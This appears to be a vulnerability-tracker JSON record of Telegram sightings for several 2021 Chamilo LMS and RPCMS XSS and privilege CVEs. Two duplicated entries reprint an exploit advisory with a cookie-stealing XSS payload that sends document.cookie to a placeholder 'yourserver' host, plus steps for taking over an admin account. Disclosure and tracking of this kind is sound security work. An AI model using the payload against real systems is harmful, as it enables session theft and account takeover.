{"vulnerability": "CVE-2021-3739", "sightings": [{"uuid": "016209b5-5010-4764-acc1-d1a976718019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37390", "type": "seen", "source": "https://t.me/cibsecurity/27095", "content": "\u203c CVE-2021-37390 \u203c\n\nA Chamilo LMS 1.11.14 reflected XSS vulnerability exists in main/social/search.php=q URI (social network search feature).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-11T00:37:33.000000Z"}, {"uuid": "cd4f626a-2c52-4dc8-a748-745303417abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "seen", "source": "https://t.me/cibsecurity/27090", "content": "\u203c CVE-2021-37391 \u203c\n\nA user without privileges in Chamilo LMS 1.11.14 can send an invitation message to another user, e.g., the administrator, through main/social/search.php, main/inc/lib/social.lib.php and steal cookies or execute arbitrary code on the administration side via a stored XSS vulnerability via social network the send invitation feature.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-11T00:37:27.000000Z"}, {"uuid": "ba8a75d6-2f7a-418d-9510-c1bff22394df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37392", "type": "seen", "source": "https://t.me/cibsecurity/26508", "content": "\u203c CVE-2021-37392 \u203c\n\nIn RPCMS v1.8 and below, the \"nickname\" variable is not properly sanitized before being displayed on page. When the API functions are enabled, the attacker can use API to update user nickname with XSS payload and achieve stored XSS. Users who view the articles published by the injected user will trigger the XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-26T22:11:37.000000Z"}, {"uuid": "a135de2d-d5c0-45bc-9bd5-39833eec6da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37394", "type": "seen", "source": "https://t.me/cibsecurity/26507", "content": "\u203c CVE-2021-37394 \u203c\n\nIn RPCMS v1.8 and below, attackers can interact with API and change variable \"role\" to \"admin\" to achieve admin user registration.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-26T22:11:36.000000Z"}, {"uuid": "38bf309d-8716-451d-a998-f77699b3420a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37393", "type": "seen", "source": "https://t.me/cibsecurity/26510", "content": "\u203c CVE-2021-37393 \u203c\n\nIn RPCMS v1.8 and below, the \"nickname\" variable is not properly sanitized before being displayed on page. Attacker can use \"update password\" function to inject XSS payloads into nickname variable, and achieve stored XSS. Users who view the articles published by the injected user will trigger the XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-26T22:11:39.000000Z"}, {"uuid": "9c353d20-c18c-4823-be8e-b6b2311d7709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "seen", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:57.288845Z"}, {"uuid": "8eeaaee0-bf71-4cd2-ad7e-70f36fe436c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "seen", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:18.848563Z"}]}